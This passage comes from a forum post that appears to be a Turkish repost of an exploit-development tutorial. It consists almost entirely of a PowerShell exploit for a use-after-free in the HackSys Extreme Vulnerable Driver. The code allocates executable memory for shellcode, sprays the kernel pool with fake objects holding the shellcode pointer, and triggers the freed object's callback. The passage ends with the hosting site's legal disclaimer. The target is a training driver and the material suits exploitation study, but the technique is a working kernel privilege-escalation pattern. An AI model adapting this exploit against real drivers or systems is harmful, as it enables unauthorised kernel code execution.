[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver",  [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite,  [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
 
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"

[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
KernelUAF_12.png


Source: https://www.fuzzysecurity.com/tutorials/expDev/19.html
Translator: @expensivepoor

 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.